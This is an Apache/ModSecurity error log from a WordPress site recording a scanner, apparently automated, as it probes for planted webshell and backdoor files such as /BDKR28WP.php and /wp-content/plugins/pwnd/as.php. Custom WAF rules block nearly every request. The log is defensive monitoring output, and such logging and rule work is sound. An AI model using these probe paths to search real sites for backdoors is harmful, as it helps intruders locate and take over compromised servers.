[Sun May 03 08:43:39.706535 2026] [:error] [pid 37126:tid 37160] [client 20.151.130.38:64771] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaO_R_A42N-LtDyrvjZAAAAAc"]
[Sun May 03 08:43:40.137587 2026] [:error] [pid 37246:tid 37261] [client 20.151.130.38:61830] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaPDhvYFGNwhnPamqCEwAAAQs"]
[Sun May 03 08:43:40.553781 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:62488] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaPEHBbBLrXh6PBuuN-gAAAU0"]
[Sun May 03 08:43:40.993065 2026] [:error] [pid 37246:tid 37254] [client 20.151.130.38:59848] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaPDhvYFGNwhnPamqCFAAAAQY"]
[Sun May 03 08:43:41.410425 2026] [:error] [pid 37127:tid 37201] [client 20.151.130.38:61948] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afaaPf8khJXb5O5aWVXiqAAAAFA"]
[Sun May 03 08:43:41.840132 2026] [:error] [pid 37126:tid 37172] [client 20.151.130.38:62487] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afaaPfR_A42N-LtDyrvjZQAAABM"]
[Sun May 03 08:43:42.260502 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:64874] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afaaPjSujTvwdzEkjSfhqgAAAZc"]
[Sun May 03 08:43:42.675324 2026] [:error] [pid 40456:tid 40470] [client 20.151.130.38:61884] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afaaPjSujTvwdzEkjSfhrgAAAYw"]
[Sun May 03 08:43:43.091490 2026] [:error] [pid 40456:tid 40471] [client 20.151.130.38:61942] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afaaPzSujTvwdzEkjSfhsQAAAY0"]
[Sun May 03 08:43:43.501095 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:65474] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afaaP0HBbBLrXh6PBuuN_QAAAVc"]
[Sun May 03 08:43:43.924372 2026] [:error] [pid 37127:tid 37209] [client 20.151.130.38:62499] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afaaP_8khJXb5O5aWVXiqQAAAFc"]
[Sun May 03 08:43:44.346373 2026] [:error] [pid 37127:tid 37210] [client 20.151.130.38:62527] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afaaQP8khJXb5O5aWVXiqwAAAFg"]
[Sun May 03 08:43:44.778120 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:62535] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afaaQEHBbBLrXh6PBuuN_wAAAUU"]
[Sun May 03 08:43:45.211821 2026] [:error] [pid 40456:tid 40458] [client 20.151.130.38:59789] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afaaQTSujTvwdzEkjSfhtQAAAYA"]
[Sun May 03 08:43:45.636646 2026] [:error] [pid 37127:tid 37190] [client 20.151.130.38:65453] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afaaQf8khJXb5O5aWVXirQAAAEY"]
[Sun May 03 08:43:46.087553 2026] [:error] [pid 40456:tid 40475] [client 20.151.130.38:60526] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afaaQjSujTvwdzEkjSfhuAAAAZE"]
[Sun May 03 08:43:46.534709 2026] [:error] [pid 37127:tid 37198] [client 20.151.130.38:64806] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afaaQv8khJXb5O5aWVXisAAAAE0"]
[Sun May 03 08:43:46.954092 2026] [:error] [pid 40456:tid 40470] [client 20.151.130.38:61229] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afaaQjSujTvwdzEkjSfhvAAAAYw"]
[Sun May 03 08:43:47.383132 2026] [:error] [pid 37246:tid 37249] [client 20.151.130.38:65497] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afaaQzhvYFGNwhnPamqCFwAAAQE"]
[Sun May 03 08:43:47.801611 2026] [:error] [pid 37126:tid 37170] [client 20.151.130.38:65511] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afaaQ_R_A42N-LtDyrvjaQAAABE"]
[Sun May 03 08:43:48.233945 2026] [:error] [pid 40456:tid 40465] [client 20.151.130.38:62547] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "afaaRDSujTvwdzEkjSfhwgAAAYc"]
[Sun May 03 08:43:48.660607 2026] [:error] [pid 40422:tid 40436] [client 20.151.130.38:65519] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "afaaREHBbBLrXh6PBuuOAwAAAUo"]
[Sun May 03 08:43:49.131509 2026] [:error] [pid 40422:tid 40442] [client 20.151.130.38:61863] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "afaaRUHBbBLrXh6PBuuOBQAAAVA"]
[Sun May 03 08:43:49.552606 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:65465] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "afaaRUHBbBLrXh6PBuuOBwAAAU8"]
[Sun May 03 08:43:49.978377 2026] [:error] [pid 37246:tid 37270] [client 20.151.130.38:61285] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "afaaRThvYFGNwhnPamqCGQAAARQ"]
[Sun May 03 08:43:50.413717 2026] [:error] [pid 40456:tid 40480] [client 20.151.130.38:62530] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "afaaRjSujTvwdzEkjSfhxgAAAZY"]
[Sun May 03 08:43:50.841999 2026] [:error] [pid 40456:tid 40478] [client 20.151.130.38:60481] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "afaaRjSujTvwdzEkjSfhxwAAAZQ"]
[Sun May 03 08:43:51.288956 2026] [:error] [pid 40456:tid 40461] [client 20.151.130.38:65522] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "afaaRzSujTvwdzEkjSfhyAAAAYM"]
[Sun May 03 08:43:51.735527 2026] [:error] [pid 37130:tid 37232] [client 20.151.130.38:61940] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "afaaR6Iu7bmXKXicRk85SgAAAJM"]
[Sun May 03 08:43:57.174598 2026] [autoindex:error] [pid 37130:tid 37218] [client 20.151.130.38:60500] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/02/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 08:44:02.652531 2026] [:error] [pid 37130:tid 37217] [client 20.151.130.38:60500] [client 20.151.130.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afaaUqIu7bmXKXicRk85YQAAAIQ"]
[Sun May 03 08:44:05.457307 2026] [autoindex:error] [pid 40422:tid 40447] [client 20.151.130.38:64779] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 08:44:05.675635 2026] [autoindex:error] [pid 40422:tid 40434] [client 20.151.130.38:64779] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 08:44:09.147623 2026] [:error] [pid 40422:tid 40442] [client 20.151.130.38:64779] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afaaWUHBbBLrXh6PBuuORwAAAVA"]
[Sun May 03 08:44:09.607938 2026] [:error] [pid 37127:tid 37202] [client 20.151.130.38:64816] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afaaWf8khJXb5O5aWVXitgAAAFE"]
[Sun May 03 08:44:10.030417 2026] [:error] [pid 40456:tid 40472] [client 20.151.130.38:61939] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afaaWjSujTvwdzEkjSfh4AAAAY4"]
[Sun May 03 08:44:10.457080 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:61909] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afaaWjSujTvwdzEkjSfh4QAAAZc"]
[Sun May 03 08:44:10.883546 2026] [:error] [pid 40456:tid 40458] [client 20.151.130.38:64863] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afaaWjSujTvwdzEkjSfh5gAAAYA"]
[Sun May 03 08:44:11.300783 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:60451] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afaaW0HBbBLrXh6PBuuOSwAAAVc"]
[Sun May 03 08:44:11.724078 2026] [:error] [pid 40456:tid 40462] [client 20.151.130.38:62589] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afaaWzSujTvwdzEkjSfh6gAAAYQ"]
[Sun May 03 08:44:12.146273 2026] [:error] [pid 37246:tid 37254] [client 20.151.130.38:64883] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bs1.php"] [unique_id "afaaXDhvYFGNwhnPamqCLAAAAQY"]
[Sun May 03 08:44:12.564358 2026] [:error] [pid 40456:tid 40463] [client 20.151.130.38:61247] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afaaXDSujTvwdzEkjSfh7QAAAYU"]
[Sun May 03 08:44:12.984160 2026] [:error] [pid 40422:tid 40428] [client 20.151.130.38:64884] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afaaXEHBbBLrXh6PBuuOTgAAAUI"]
[Sun May 03 08:44:13.407603 2026] [:error] [pid 37127:tid 37196] [client 20.151.130.38:64823] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afaaXf8khJXb5O5aWVXiuwAAAEw"]
[Sun May 03 08:44:13.828092 2026] [:error] [pid 40386:tid 40391] [client 20.151.130.38:61218] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afaaXVHJDYRXUf3IbRTivAAAAMM"]
[Sun May 03 08:44:14.254905 2026] [:error] [pid 37127:tid 37205] [client 20.151.130.38:61910] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afaaXv8khJXb5O5aWVXivQAAAFM"]
[Sun May 03 08:44:14.676325 2026] [:error] [pid 37246:tid 37272] [client 20.151.130.38:61944] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afaaXjhvYFGNwhnPamqCMAAAARY"]
[Sun May 03 08:44:15.101581 2026] [:error] [pid 40422:tid 40448] [client 20.151.130.38:64768] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afaaX0HBbBLrXh6PBuuOWAAAAVY"]
[Sun May 03 08:44:15.543815 2026] [:error] [pid 40456:tid 40469] [client 20.151.130.38:61233] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "afaaXzSujTvwdzEkjSfh8wAAAYs"]
[Sun May 03 08:44:15.981811 2026] [:error] [pid 40386:tid 40390] [client 20.151.130.38:60454] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afaaX1HJDYRXUf3IbRTivgAAAMI"]
[Sun May 03 08:44:16.421754 2026] [:error] [pid 40456:tid 40466] [client 20.151.130.38:61259] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afaaYDSujTvwdzEkjSfh9wAAAYg"]
[Sun May 03 08:44:16.833379 2026] [:error] [pid 40386:tid 40406] [client 20.151.130.38:64817] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afaaYFHJDYRXUf3IbRTivwAAANI"]
[Sun May 03 08:44:17.262028 2026] [:error] [pid 40386:tid 40402] [client 20.151.130.38:65486] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file48.php"] [unique_id "afaaYVHJDYRXUf3IbRTiwAAAAM4"]
[Sun May 03 08:44:17.682352 2026] [:error] [pid 37127:tid 37186] [client 20.151.130.38:59838] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaYf8khJXb5O5aWVXiwAAAAEI"]
[Sun May 03 08:44:18.108456 2026] [:error] [pid 40422:tid 40436] [client 20.151.130.38:61304] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaYkHBbBLrXh6PBuuOXgAAAUo"]
[Sun May 03 08:44:18.541671 2026] [:error] [pid 37130:tid 37235] [client 20.151.130.38:59864] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaYqIu7bmXKXicRk85cAAAAJY"]
